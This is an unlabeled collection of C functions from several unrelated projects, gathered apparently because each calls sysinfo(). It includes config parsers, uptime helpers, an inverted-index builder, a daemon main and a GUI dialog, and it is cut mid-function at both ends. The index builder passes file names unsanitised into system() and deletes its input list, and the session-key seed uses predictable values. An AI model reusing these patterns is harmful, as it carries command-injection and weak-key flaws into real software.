0, sizeof(struct sysinfo)); info.mem_unit = 4096; while (fscanf(procMeminfoFP, "%31s %u%*[^\n]\n", name, &val) != EOF) { if (strncmp("MemTotal:", name, 9) == 0) info.totalram = val/4; else if (strncmp("MemFree:", name, 8) == 0) info.freeram = val/4; else if (strncmp("Buffers:", name, 8) == 0) info.bufferram += val/4; else if (strncmp("Cached:", name, 7) == 0) info.bufferram += val/4; else if (strncmp("SwapTotal:", name, 10) == 0) info.totalswap = val/4; else if (strncmp("SwapFree:", name, 9) == 0) info.freeswap = val/4; else if (strncmp("HighTotal:", name, 10) == 0) info.totalhigh = val/4; else if (strncmp("HighFree:", name, 9) == 0) info.freehigh = val/4; } rewind(procMeminfoFP); fflush(procMeminfoFP); } lpBuffer->dwLength = sizeof(MEMORYSTATUSEX); lpBuffer->ullAvailPageFile = (info.freeswap * info.mem_unit); lpBuffer->ullAvailPhys = ((info.freeram + info.bufferram) * info.mem_unit); lpBuffer->ullAvailVirtual = ((info.freeram + info.bufferram) * info.mem_unit); lpBuffer->ullTotalPhys = (info.totalram * info.mem_unit); lpBuffer->ullTotalVirtual = (info.totalram * info.mem_unit); #endif }
/* * Process configuration file */ static void process_env_conf_file(void) { int line, len, val, toklen; char buf[BUFSIZ]; FILE *fp; env_tuneable_t *tunep; char nmbuf[SYS_NMLN]; char fname[PATH_MAX]; char *tok, *valuep, *strend; char tokdel[] = " \t\n\r"; int skip_line = 0; if (sysinfo(SI_PLATFORM, nmbuf, sizeof (nmbuf)) == -1) return; (void) snprintf(fname, sizeof (fname), PICLD_PLAT_PLUGIN_DIRF, nmbuf); (void) strlcat(fname, ENV_CONF_FILE, sizeof (fname)); fp = fopen(fname, "r"); if (fp == NULL) return; /* * Blank lines or lines starting with "#" or "*" in the first * column are ignored. All other lines are assumed to contain * input in the following format: * * keyword value * * where the "value" can be a signed integer or string (in * double quotes) depending upon the keyword. */ for (line = 1; fgets(buf, sizeof (buf), fp) != NULL; line++) { len = strlen(buf); if (len <= 0) continue; /* skip long lines */ if (buf[len-1] != '\n') { skip_line = 1; continue; } else if (skip_line) { skip_line = 0; continue; } else buf[len-1] = '\0'; /* skip comments */ if (buf[0] == '*' || buf[0] == '#') continue; /* * Skip over white space to get the keyword */ tok = buf + strspn(buf, tokdel); if (*tok == '\0') continue; /* blank line */ toklen = strcspn(tok, tokdel); tok[toklen] = '\0'; /* Get possible location for value (within current line) */ valuep = tok + toklen + 1; if (valuep > buf+len) valuep = buf + len; /* * Lookup the keyword and process value accordingly */ for (tunep = &env_tuneables[0]; tunep->name != NULL; tunep++) { if (strcmp(tunep->name, tok) != 0) continue; switch (tunep->type) { case KTYPE_INT: errno = 0; val = strtol(valuep, &valuep, 0); /* Check for invalid value or extra tokens */ if (errno != 0 || strtok(valuep, tokdel)) { envd_log(LOG_INFO, ENV_CONF_INT_EXPECTED, fname, line, tok); break; } /* Update only if value within range */ if (tunep->size == sizeof (int8_t) && val == (int8_t)val) *(int8_t *)tunep->addr = (int8_t)val; else if (tunep->size == sizeof (short) && val == (short)val) *(short *)tunep->addr = (short)val; else if (tunep->size == sizeof (int)) *(int *)tunep->addr = (int)val; else { envd_log(LOG_INFO, ENV_CONF_INT_EXPECTED, fname, line, tok); break; } if (env_debug) envd_log(LOG_INFO, "SUNW_piclenvd: " "file:%s line:%d %s = %d\n", fname, line, tok, val); break; case KTYPE_STRING: /* * String value must be within double quotes. * Skip over initial white spaces before * looking for value. */ valuep += strspn(valuep, tokdel); strend = parse_string_val(valuep); if (strend == NULL || *valuep != '"' || strtok(strend+1, tokdel) != NULL || (strend-valuep) > tunep->size) { envd_log(LOG_INFO, ENV_CONF_STRING_EXPECTED, fname, line, tok, tunep->size); break; } *strend = '\0'; if (env_debug) envd_log(LOG_INFO, "piclenvd: file:%s" " line:%d %s = \"%s\"\n", fname, line, tok, valuep+1); (void) strcpy(tunep->addr, (caddr_t)valuep+1); break; default: envd_log(LOG_INFO, ENV_CONF_UNSUPPORTED_TYPE, fname, line, tunep->type, tunep->name); } break; } if (tunep->name == NULL) envd_log(LOG_INFO, ENV_CONF_UNSUPPORTED_KEYWORD, fname, line, tok); } (void) fclose(fp); }
int ILGetSinceRebootTime(ILCurrTime *timeValue) { #ifdef IL_WIN32_PLATFORM DWORD tick; tick = GetTickCount(); timeValue->secs = tick / 1000; timeValue->nsecs = (tick % 1000) * 1000000; return 1; #elif defined(USE_BOOTTIME) && defined(__FreeBSD__) int len, mib[2]; struct timeval tv; ILGetCurrTime(timeValue); if (bootTime.secs == 0 && bootTime.nsecs == 0) { mib[0] = CTL_KERN; mib[1] = KERN_BOOTTIME; len = sizeof(struct timeval); if (sysctl(mib, 2, &tv, &len, 0, 0) != 0) { return 0; } ILThreadAtomicStart(); bootTime.secs = ((ILInt64)(tv.tv_sec)) + EPOCH_ADJUST; bootTime.nsecs = (ILUInt32)(tv.tv_usec * 1000); ILThreadAtomicEnd(); } #elif defined(USE_BOOTTIME) && (defined(linux) \ || defined(__linux) || defined(__linux__)) struct sysinfo si; ILGetCurrTime(timeValue); if (bootTime.secs == 0 && bootTime.nsecs == 0) { if (sysinfo(&si) != 0) { return 0; } ILThreadAtomicStart(); bootTime.secs = timeValue->secs - si.uptime; /* sysinfo() is only accurate to the second so use the nsec value from the curren time. This allows subsequent calls to this function to get nsec time-differential precision */ bootTime.nsecs = timeValue->nsecs; ILThreadAtomicEnd(); } #endif #if defined(USE_BOOTTIME) /* Subtract the current time from the time since the system was started */ if(timeValue->nsecs < bootTime.nsecs) { timeValue->nsecs = timeValue->nsecs - bootTime.nsecs + 1000000000; timeValue->secs = timeValue->secs - bootTime.secs - 1; } else { timeValue->nsecs = timeValue->nsecs - bootTime.nsecs; timeValue->secs = timeValue->secs - bootTime.secs; } return 1; #else return 0; #endif }
int main(int argc, char *argv[]) { FILE *fin, *fall, *fdirect, *foffset, *ftemp, *fpstop, *fptmpindx; int tf, temp_pos[BUF_SIZE], num_uniq_term; int df, ctf, inv_file_count, POS_INDEX; long long int doc_id, voc_size, l, i, j, k, m1, m2; char file_name[256], inv_file[256], inv_file_no[256], dir_file[256], dir_off_file[256], indexPath[1024]; char TEMP_BUF[BUF_SIZE], WORD[BUF_SIZE], command[256]; size_t invBufSize; document_t doc; struct stat directory = {0}; struct sysinfo info; POS_INDEX = 0; if(argc - 1 < 4) { printf("Give file containing doc file names\nGive collection name\nGive stopword file\n"); printf("Apply stemming? (y/n)\n"); printf("If you want positional direct index, give p in command line\n"); return 0; } else if(argc - 1 == 5) { if(strcmp(argv[5], "p") == 0) POS_INDEX = 1; } else ; if(strcmp(argv[4], "y") == 0) STEM_FLAG = 1; if(stat("./indexes", &directory) == -1) { mkdir("./indexes", 0777); } sprintf(indexPath, "./indexes/%s", argv[2]); if(stat(indexPath, &directory) == -1) { mkdir(indexPath, 0777); } else { printf("Index <%s> already exists\n", argv[2]); return 0; } sprintf(dir_file, "%s/%s.direct", indexPath, argv[2]); sprintf(dir_off_file, "%s/%s.docid", indexPath, argv[2]); if((fall = fopen(argv[1], "r")) == NULL) printf("Could not open file %s\n", argv[1]); if((fdirect = fopen(dir_file, "w")) == NULL) printf("Could not open file direct-output\n"); if((foffset = fopen(dir_off_file, "w")) == NULL) printf("Could not open file offset-output\n"); if((fpstop = fopen(argv[3], "r")) == NULL) printf("Could not open stem file %s\n", argv[3]); if((fptmpindx = fopen("ListOfTempIndex", "w")) == NULL) printf("Could not open file for list of inverted index\n"); sysinfo(&info); // for knowing the ram size invBufSize = info.totalram/(2 * sizeof(invEntry_t)); if((inv_buf = malloc(invBufSize * sizeof(invEntry_t))) == NULL) { printf("Could not allocate memory for inverted buffer\n"); return 0; } else printf("Allocated buffer size for inverted index: %lu bytes\n", invBufSize); doc_id = -1; voc_size = 0; inv_file_count = 0; /* reading stopword */ for(stop_size = 0; fscanf(fpstop, "%s", TEMP_BUF) > 0; stop_size++) ; rewind(fpstop); if((stopword = malloc(stop_size * sizeof(stop_t))) == NULL) printf("Could not allocate memory for stopword\n"); for(stop_size = 0; fscanf(fpstop, "%s", TEMP_BUF) > 0; stop_size++) { TEMP_BUF[MAX_TERM_LEN - 1] = '\0'; stopword[stop_size].word = strdup(TEMP_BUF); } qsort(stopword, stop_size, sizeof(stop_t), comp_stop); while(fscanf(fall, "%s", file_name) > 0) { if(strcmp(file_name+strlen(file_name)-3, ".gz") != 0) { // ordinary file: open for reading if((fin = fopen(file_name, "r")) == NULL) { printf("Could not open file %s\n", file_name); continue; } } else { // .gz file: uncompress it and then open for reading sprintf(command, "gzip -d -c %s > decom-doc-file", file_name); system(command); if((fin = fopen("decom-doc-file", "r")) == NULL) { printf("Could not open decompressed file of %s\n", file_name); continue; } } while((l = get_trec_doc(fin, &doc)) > 0) { if(doc.len == 0) { printf("Empty or wrongly tagged document ignored\n"); continue; } if(doc.len > 0) { doc_id ++; qsort(doc.terms, doc.len, sizeof(termAndPos_t), comp_termAndPos_t); for(i = 0, num_uniq_term = 1; i < doc.len-1; i++) if(strcmp(doc.terms[i].term, doc.terms[i+1].term) != 0) num_uniq_term++; fprintf(foffset, "%s\t%Ld\t\t%d\t%d\t%Ld\n", doc.no, doc_id, num_uniq_term, doc.len, (long long int)ftello(fdirect)); fprintf(fdirect, "(%s %d %d):", doc.no, doc.len, num_uniq_term); for(i = 0; i < doc.len; ) { for(j = i, tf = 0; j < doc.len && strcmp(doc.terms[i].term, doc.terms[j].term) == 0; tf++, j++) if(tf < BUF_SIZE - 2) temp_pos[tf] = doc.terms[j].pos; else tf = BUF_SIZE -2; strcpy(inv_buf[voc_size].term, doc.terms[i].term); inv_buf[voc_size].tf = tf; inv_buf[voc_size].docid = doc_id; if(voc_size < invBufSize -1) voc_size++; else { qsort(inv_buf, voc_size, sizeof(invEntry_t), comp_invEntry_t); sprintf(inv_file, "%s/temp-inv-file-%d", indexPath, inv_file_count); if((ftemp = fopen(inv_file, "w")) == NULL) printf("Could not open file temp-inv-output\n"); fprintf(fptmpindx, "%s\n", inv_file); /* inverting the temporary list */ for(m1 = 0; m1 < voc_size; ) { df = 0; ctf = 0; for(m2 = m1; m2 < voc_size && strcmp(inv_buf[m1].term, inv_buf[m2].term) == 0; m2++) { df++; ctf += inv_buf[m2].tf; } fprintf(ftemp,"(%s\t%d\t%d)", inv_buf[m1].term, df, ctf); for( ; m1 < m2; m1++) fprintf(ftemp, "(%Ld,%d)", inv_buf[m1].docid, inv_buf[m1].tf); fprintf(ftemp, "\n"); } fclose(ftemp); inv_file_count += 1; voc_size = 0; } fprintf(fdirect, "(%s %d", doc.terms[i].term, tf); if(POS_INDEX) for(k = 0; k < tf; k++) fprintf(fdirect, " %d", temp_pos[k]); fprintf(fdirect, ")"); i = j; } fprintf(fdirect, "\n"); } } fclose(fin); printf("Processing %s finished\n", file_name); } /* inverting the tail end */ if(voc_size > 0) { qsort(inv_buf, voc_size, sizeof(invEntry_t), comp_invEntry_t); sprintf(inv_file, "%s/temp-inv-file-%d", indexPath, inv_file_count); if((ftemp = fopen(inv_file, "w")) == NULL) printf("Could not open file temp-inv-output\n"); fprintf(fptmpindx, "%s\n", inv_file); for(m1 = 0; m1 < voc_size; ) { df = 0; ctf = 0; for(m2 = m1; m2 < voc_size && strcmp(inv_buf[m1].term, inv_buf[m2].term) == 0; m2++) { df++; ctf += inv_buf[m2].tf; } fprintf(ftemp,"(%s\t%d\t%d)", inv_buf[m1].term, df, ctf); for( ; m1 < m2; m1++) fprintf(ftemp, "(%Ld,%d)", inv_buf[m1].docid, inv_buf[m1].tf); fprintf(ftemp, "\n"); } fclose(ftemp); } remove("decom-doc-file"); remove(argv[1]); fclose(fall); fclose(fdirect); fclose(foffset); fclose(fpstop); fclose(fptmpindx); return 0; }
int SYSTEM_UPTIME(const char *cmd, const char *param, unsigned flags, AGENT_RESULT *result) { #if defined(HAVE_SYSINFO_UPTIME) struct sysinfo info; assert(result); init_result(result); if( 0 == sysinfo(&info)) { SET_UI64_RESULT(result, info.uptime); return SYSINFO_RET_OK; } else { return SYSINFO_RET_FAIL; } #elif defined(HAVE_FUNCTION_SYSCTL_KERN_BOOTTIME) int mib[2], now; size_t len; struct timeval uptime; assert(result); init_result(result); mib[0] = CTL_KERN; mib[1] = KERN_BOOTTIME; len = sizeof(uptime); if (0 != sysctl(mib, 2, &uptime, &len, NULL, 0)) return SYSINFO_RET_FAIL; now = time(NULL); SET_UI64_RESULT(result, now - uptime.tv_sec); return SYSINFO_RET_OK; #elif defined(HAVE_KSTAT_H) /* Solaris */ kstat_ctl_t *kc; kstat_t *kp; kstat_named_t *kn; long hz; long secs; assert(result); init_result(result); hz = sysconf(_SC_CLK_TCK); /* open kstat */ kc = kstat_open(); if (0 == kc) { return SYSINFO_RET_FAIL; } /* read uptime counter */ kp = kstat_lookup(kc, "unix", 0, "system_misc"); if (0 == kp) { kstat_close(kc); return SYSINFO_RET_FAIL; } if(-1 == kstat_read(kc, kp, 0)) { kstat_close(kc); return SYSINFO_RET_FAIL; } kn = (kstat_named_t*)kstat_data_lookup(kp, "clk_intr"); secs = kn->value.ul / hz; /* close kstat */ kstat_close(kc); SET_UI64_RESULT(result, secs); return SYSINFO_RET_OK; #else assert(result); init_result(result); return SYSINFO_RET_FAIL; #endif }
int main(int argc, char *argv[]) { int c; char config_file_path[256]; word usage = false; strcpy(config_file_path, "/etc/openrail.conf"); while ((c = getopt (argc, argv, ":c:")) != -1) { switch (c) { case 'c': strcpy(config_file_path, optarg); break; case ':': break; case '?': default: usage = true; break; } } char * config_fail; if((config_fail = load_config(config_file_path))) { printf("Failed to read config file \"%s\": %s\n", config_file_path, config_fail); usage = true; } debug = *conf[conf_debug]; if(usage) { printf("\tUsage: %s [-c /path/to/config/file.conf]\n\n", argv[0] ); exit(1); } int lfp = 0; // Set up log _log_init(debug?"/tmp/tddb.log":"/var/log/garner/tddb.log", debug?1:0); // Enable core dumps struct rlimit limit; if(!getrlimit(RLIMIT_CORE, &limit)) { limit.rlim_cur = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &limit); } start_time = time(NULL); // DAEMONISE if(debug != 1) { int i=fork(); if (i<0) { /* fork error */ _log(CRITICAL, "fork() error. Aborting."); exit(1); } if (i>0) exit(0); /* parent exits */ /* child (daemon) continues */ pid_t sid = setsid(); /* obtain a new process group */ if(sid < 0) { /* setsid error */ _log(CRITICAL, "setsid() error. Aborting."); exit(1); } for (i=getdtablesize(); i>=0; --i) close(i); /* close all descriptors */ umask(022); // Created files will be rw for root, r for all others i = chdir("/var/run/"); if(i < 0) { /* chdir error */ _log(CRITICAL, "chdir() error. Aborting."); exit(1); } if((lfp = open("/var/run/tddb.pid", O_RDWR|O_CREAT, 0640)) < 0) { _log(CRITICAL, "Unable to open pid file \"/var/run/tddb.pid\". Aborting."); exit(1); /* can not open */ } if (lockf(lfp,F_TLOCK,0)<0) { _log(CRITICAL, "Failed to obtain lock. Aborting."); exit(1); /* can not lock */ } char str[128]; sprintf(str, "%d\n", getpid()); i = write(lfp, str, strlen(str)); /* record pid to lockfile */ _log(GENERAL, ""); sprintf(zs, "%s %s", NAME, BUILD); _log(GENERAL, zs); _log(GENERAL, "Running as daemon."); } else { _log(GENERAL, ""); sprintf(zs, "%s %s", NAME, BUILD); _log(GENERAL, zs); _log(GENERAL, "Running in local mode."); } // Check core dumps if(prctl(PR_GET_DUMPABLE, 0, 0, 0, 0) != 1) { _log(MAJOR, "PR_GET_DUMPABLE not 1."); } else { _log(DEBUG, "PR_GET_DUMPABLE is 1."); } if(!getrlimit(RLIMIT_CORE, &limit)) { if(limit.rlim_cur != RLIM_INFINITY) { _log(MAJOR, "RLIMIT_CORE not RLIM_INFINITY."); } else { _log(DEBUG, "RLIMIT_CORE is RLIM_INFINITY."); } } else { _log(MAJOR, "Unable to determine RLIMIT_CORE."); } run = true; interrupt = false; { // Sort out the signal handlers struct sigaction act; sigset_t block_mask; sigemptyset(&block_mask); act.sa_handler = termination_handler; act.sa_mask = block_mask; act.sa_flags = 0; if(sigaction(SIGTERM, &act, NULL) || sigaction(SIGINT, &act, NULL)) { _log(CRITICAL, "Failed to set up signal handler."); exit(1); } } if(!debug) signal(SIGCHLD,SIG_IGN); /* ignore child */ if(!debug) signal(SIGTSTP,SIG_IGN); /* ignore tty signals */ if(!debug) signal(SIGTTOU,SIG_IGN); if(!debug) signal(SIGTTIN,SIG_IGN); // Zero the stats { word i; for(i=0; i < MAXstats; i++) { stats[i] = 0; grand_stats[i] = 0; } } // Startup delay { struct sysinfo info; word logged = false; word i; while(run && !debug && (sysinfo(&info) || info.uptime < (512 + 64))) { if(!logged) _log(GENERAL, "Startup delay..."); logged = true; for(i = 0; i < 8 && run; i++) sleep(1); } } if(run) perform(); if(lfp) close(lfp); if(interrupt) { _log(CRITICAL, "Terminated due to interrupt."); } return 0; }
/* * Build the config dialog */ static Evas_Object * _basic_create(E_Config_Dialog *cfd, Evas *evas, E_Config_Dialog_Data *cfdata) { Evas_Object *list = NULL, *table = NULL, *subtable = NULL, *framelist = NULL, *widget = NULL, *toolbook = NULL; E_Radio_Group *rg; struct sysinfo meminfo; long long memSize; // Remove the update timer - has the effect of // aborting any current updates if (eplanet_conf->bg_set_timer) { ecore_timer_del(eplanet_conf->bg_set_timer); } // Get total physical RAM for free mem slider // Limit to 1024Mb sysinfo(&meminfo); memSize = meminfo.totalram; memSize = memSize / 1024 / 1024; if (memSize > 1024) memSize = 1024; toolbook = e_widget_toolbook_add(evas, 48 * e_scale, 48 * e_scale); /* Behaviour Tab */ list = e_widget_list_add(evas, 0, 0); widget = e_widget_label_add(evas, D_("Update background every")); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_slider_add(evas, 1, 0, ("%2.0f minutes"), 1, 60, 1, 0, NULL, &(cfdata->delay), 200); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_label_add(evas, D_("Delay first background change for")); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_slider_add(evas, 1, 0, ("%3.0f seconds"), 1, 120, 1, 0, NULL, &(cfdata->startDelay), 200); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_label_add(evas, D_("Run XPlanet using priority")); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_slider_add(evas, 1, 0, ("%1.0f"), ecore_exe_run_priority_get(), 19, 1, 0, NULL, &(cfdata->taskPriority), 200); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_label_add(evas, D_("Don't run if system load is greater than")); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_slider_add(evas, 1, 0, ("%3.1f"), 1, 32, 0.5, 0, &(cfdata->loadLimit), NULL, 200); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_label_add(evas, D_("Don't run if available RAM is less than")); e_widget_list_object_append(list, widget, 1, 1, 0.5); widget = e_widget_slider_add(evas, 1, 0, ("%3.0f Mb"), 0, memSize, 16, 0, NULL, &(cfdata->minRamLimit), 200); e_widget_list_object_append(list, widget, 1, 1, 0.5); /* widget = e_widget_check_add(evas, D_("Do not change background if on battery power"), &(cfdata->disableOnBattery)); e_widget_list_object_append(list, widget, 1, 1, 0.5); */ // Add behaviour tab to dialog e_widget_toolbook_page_append(toolbook, NULL, D_("Behaviour"), list, 0, 0, 0, 0, 0.5, 0.0); /* XPlanet Tab */ table = e_widget_table_add(evas, 0); // Target framelist = e_widget_framelist_add(evas, D_("Target"), 0); widget = e_widget_ilist_add(evas, 16, 16, NULL); cfdata->gui.o_body_ilist = widget; e_widget_ilist_multi_select_set(widget, 0); e_widget_size_min_set(widget, 160, 150); e_widget_framelist_object_append(framelist, widget); e_widget_table_object_append(table, framelist, 0, 0, 1, 1, 1, 1, 0, 1); // View Type framelist = e_widget_framelist_add(evas, D_("View Type"), 0); rg = e_widget_radio_group_new(&(cfdata->local_xplanet.source_type)); widget = e_widget_radio_add(evas, D_("Origin"), SOURCE_ORIGIN, rg); cfdata->gui.o_origin_toggle = widget; evas_object_smart_callback_add(widget, "changed", _cb_source_type, cfdata); e_widget_framelist_object_append(framelist, widget); widget = e_widget_radio_add(evas, D_("Projection"), SOURCE_PROJECTION, rg); cfdata->gui.o_projection_toggle = widget; evas_object_smart_callback_add(widget, "changed", _cb_source_type, cfdata); e_widget_framelist_object_append(framelist, widget); widget = e_widget_ilist_add(evas, 16, 16, NULL); cfdata->gui.o_source_ilist = widget; e_widget_ilist_multi_select_set(widget, 0); e_widget_size_min_set(widget, 160, 150); e_widget_framelist_object_append(framelist, widget); e_widget_table_object_append(table, framelist, 1, 0, 1, 1, 1, 1, 0, 1); // Label framelist = e_widget_framelist_add(evas, D_("Label"), 0); subtable = e_widget_table_add(evas, 0); widget = e_widget_check_add(evas, D_("Show label"), &(cfdata->gui.show_label)); evas_object_smart_callback_add(widget, "changed", _cb_show_label, cfdata); cfdata->gui.o_show_label = widget; e_widget_table_object_append(subtable, widget, 0, 0, 3, 1, 1, 1, 0, 1); widget = e_widget_label_add(evas, D_("Label text:")); e_widget_table_object_append(subtable, widget, 0, 1, 1, 1, 1, 1, 0, 1); widget = e_widget_entry_add(evas, NULL, NULL, NULL, NULL); cfdata->gui.o_label_text = widget; e_widget_table_object_append(subtable, widget, 1, 1, 2, 1, 1, 1, 0, 1); widget = e_widget_label_add(evas, D_("Time:")); e_widget_table_object_append(subtable, widget, 0, 2, 1, 1, 1, 1, 0, 1); rg = e_widget_radio_group_new(&(cfdata->local_xplanet.label_time)); widget = e_widget_radio_add(evas, D_("Local"), LABEL_TIME_LOCAL, rg); cfdata->gui.o_label_time_local_toggle = widget; e_widget_table_object_append(subtable, widget, 1, 2, 1, 1, 1, 1, 0, 1); widget = e_widget_radio_add(evas, D_("GMT"), LABEL_TIME_GMT, rg); cfdata->gui.o_label_time_gmt_toggle = widget; e_widget_table_object_append(subtable, widget, 2, 2, 1, 1, 1, 1, 0, 1); widget = e_widget_label_add(evas, D_("Position:")); e_widget_table_object_append(subtable, widget, 0, 3, 1, 1, 1, 1, 0, 1); rg = e_widget_radio_group_new(&(cfdata->local_xplanet.label_pos)); widget = e_widget_radio_add(evas, D_("Top left"), LABEL_POS_TL, rg); evas_object_smart_callback_add(widget, "changed", _cb_label_pos, cfdata); cfdata->gui.o_label_pos_tl_toggle = widget; e_widget_table_object_append(subtable, widget, 1, 3, 1, 1, 1, 1, 0, 1); widget = e_widget_radio_add(evas, D_("Top right"), LABEL_POS_TR, rg); evas_object_smart_callback_add(widget, "changed", _cb_label_pos, cfdata); cfdata->gui.o_label_pos_tr_toggle = widget; e_widget_table_object_append(subtable, widget, 2, 3, 1, 1, 1, 1, 0, 1); widget = e_widget_radio_add(evas, D_("Bottom left"), LABEL_POS_BL, rg); evas_object_smart_callback_add(widget, "changed", _cb_label_pos, cfdata); cfdata->gui.o_label_pos_bl_toggle = widget; e_widget_table_object_append(subtable, widget, 1, 4, 1, 1, 1, 1, 0, 1); widget = e_widget_radio_add(evas, D_("Bottom right"), LABEL_POS_BR, rg); evas_object_smart_callback_add(widget, "changed", _cb_label_pos, cfdata); cfdata->gui.o_label_pos_br_toggle = widget; e_widget_table_object_append(subtable, widget, 2, 4, 1, 1, 1, 1, 0, 1); widget = e_widget_radio_add(evas, D_("Other"), LABEL_POS_OTHER, rg); evas_object_smart_callback_add(widget, "changed", _cb_label_pos, cfdata); cfdata->gui.o_label_pos_other_toggle = widget; e_widget_table_object_append(subtable, widget, 1, 5, 1, 1, 1, 1, 0, 1); widget = e_widget_entry_add(evas, NULL, NULL, NULL, NULL); cfdata->gui.o_label_pos_other_text = widget; e_widget_table_object_append(subtable, widget, 2, 5, 2, 1, 1, 1, 0, 1); widget = e_widget_label_add(evas, D_("Font:")); e_widget_table_object_append(subtable, widget, 0, 6, 1, 1, 1, 1, 0, 1); widget = e_widget_label_add(evas, D_("Not yet implemented")); e_widget_table_object_append(subtable, widget, 1, 6, 2, 1, 1, 1, 0, 1); e_widget_framelist_object_append(framelist, subtable); e_widget_table_object_append(table, framelist, 2, 0, 1, 1, 1, 1, 1, 1); // Viewing Position framelist = e_widget_framelist_add(evas, D_("Viewing Position"), 0); subtable = e_widget_table_add(evas, 0); rg = e_widget_radio_group_new(&(cfdata->local_xplanet.viewpos_type)); widget = e_widget_radio_add(evas, D_("Random"), VIEWPOS_RANDOM, rg); cfdata->gui.o_viewpos_random = widget; evas_object_smart_callback_add(widget, "changed", _cb_viewpos, cfdata); e_widget_table_object_append(subtable, widget, 0, 0, 1, 1, 1, 1, 0, 1); widget = e_widget_radio_add(evas, D_("Fixed"), VIEWPOS_LATLON, rg); cfdata->gui.o_viewpos_latlon = widget; evas_object_smart_callback_add(widget, "changed", _cb_viewpos, cfdata); e_widget_table_object_append(subtable, widget, 0, 1, 1, 1, 1, 1, 0, 1); widget = e_widget_label_add(evas, D_("Latitude:")); cfdata->gui.o_viewpos_lat_label = widget; e_widget_table_object_append(subtable, widget, 1, 1, 1, 1, 1, 1, 0, 1); widget = e_widget_entry_add(evas, NULL, NULL, NULL, NULL); cfdata->gui.o_viewpos_lat = widget; e_widget_table_object_append(subtable, widget, 2, 1, 1, 1, 1, 1, 1, 1); widget = e_widget_label_add(evas, D_("Longitude:")); cfdata->gui.o_viewpos_lon_label = widget; e_widget_table_object_append(subtable, widget, 3, 1, 1, 1, 1, 1, 0, 1); widget = e_widget_entry_add(evas, NULL, NULL, NULL, NULL); cfdata->gui.o_viewpos_lon = widget; e_widget_table_object_append(subtable, widget, 4, 1, 1, 1, 1, 1, 1, 1); widget = e_widget_radio_add(evas, D_("From file"), VIEWPOS_FILE, rg); cfdata->gui.o_viewpos_file = widget; evas_object_smart_callback_add(widget, "changed", _cb_viewpos, cfdata); e_widget_table_object_append(subtable, widget, 0, 2, 1, 1, 1, 1, 0, 1); widget = e_widget_entry_add(evas, NULL, NULL, NULL, NULL); cfdata->gui.o_viewpos_file_val = widget; e_widget_table_object_append(subtable, widget, 1, 2, 4, 1, 1, 1, 0, 1); widget = e_widget_button_add(evas, D_("..."), NULL, _select_viewpos_file, cfd, cfdata); cfdata->gui.o_viewpos_file_button = widget; e_widget_table_object_append(subtable, widget, 5, 2, 1, 1, 1, 1, 0, 1); widget = e_widget_check_add(evas, D_("Set local time:"), &(cfdata->local_xplanet.use_localtime)); evas_object_smart_callback_add(widget, "changed", _cb_set_localtime, cfdata); cfdata->gui.o_use_localtime = widget; e_widget_table_object_append(subtable, widget, 0, 3, 2, 1, 1, 1, 0, 1); widget = e_widget_slider_add(evas, 1, 0, ("%02.0f:00"), 0, 23, 1, 0, NULL, &(cfdata->gui.localtime), NULL); cfdata->gui.o_localtime = widget; e_widget_table_object_append(subtable, widget, 2, 3, 3, 1, 1, 1, 0, 1); e_widget_framelist_object_append(framelist, subtable); e_widget_table_object_append(table, framelist, 0, 1, 2, 1, 1, 1, 0, 1); // Other settings framelist = e_widget_framelist_add(evas, D_("Other Settings"), 0); subtable = e_widget_table_add(evas, 0); widget = e_widget_check_add(evas, D_("Use config file:"), &(cfdata->gui.use_config)); cfdata->gui.o_config_check = widget; e_widget_table_object_append(subtable, widget, 0, 0, 1, 1, 1, 1, 0, 1); widget = e_widget_entry_add(evas, NULL, NULL, NULL, NULL); cfdata->gui.o_config_name = widget; e_widget_table_object_append(subtable, widget, 1, 0, 1, 1, 1, 1, 1, 1); widget = e_widget_label_add(evas, D_("Other command line parameters:")); e_widget_table_object_append(subtable, widget, 0, 1, 2, 1, 1, 1, 0, 1); widget = e_widget_entry_add(evas, NULL, NULL, NULL, NULL); cfdata->gui.o_extra_options = widget; e_widget_table_object_append(subtable, widget, 0, 2, 2, 1, 1, 1, 0, 1); e_widget_framelist_object_append(framelist, subtable); e_widget_table_object_append(table, framelist, 2, 1, 1, 1, 1, 1, 0, 1); // Preview button // widget = e_widget_button_add(evas, D_("Preview"), NULL, _show_preview, // cfd, cfdata); // e_widget_table_object_append(table, widget, 0, 2, 3, 1, 1, 1, 0, 1); e_widget_toolbook_page_append(toolbook, NULL, D_("XPlanet"), table, 0, 0, 0, 0, 0.5, 0.0); e_widget_toolbook_page_show(toolbook, 0); _populate_xplanet_page(cfdata, 0); return toolbook; }
void make_session_key(char *key, char *seed, int mode) { int j, k; struct MD5Context md5c; unsigned char md5key[16], md5key1[16]; char s[1024]; #define ss sizeof(s) s[0] = 0; if (seed != NULL) { bstrncat(s, seed, sizeof(s)); } /* The following creates a seed for the session key generator based on a collection of volatile and environment-specific information unlikely to be vulnerable (as a whole) to an exhaustive search attack. If one of these items isn't available on your machine, replace it with something equivalent or, if you like, just delete it. */ #if defined(HAVE_WIN32) { LARGE_INTEGER li; DWORD length; FILETIME ft; bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)GetCurrentProcessId()); (void)getcwd(s + strlen(s), 256); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)GetTickCount()); QueryPerformanceCounter(&li); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)li.LowPart); GetSystemTimeAsFileTime(&ft); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)ft.dwLowDateTime); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)ft.dwHighDateTime); length = 256; GetComputerName(s + strlen(s), &length); length = 256; GetUserName(s + strlen(s), &length); } #else bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)getpid()); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)getppid()); (void)getcwd(s + strlen(s), 256); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)clock()); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)time(NULL)); #if defined(Solaris) sysinfo(SI_HW_SERIAL,s + strlen(s), 12); #endif #if defined(HAVE_GETHOSTID) 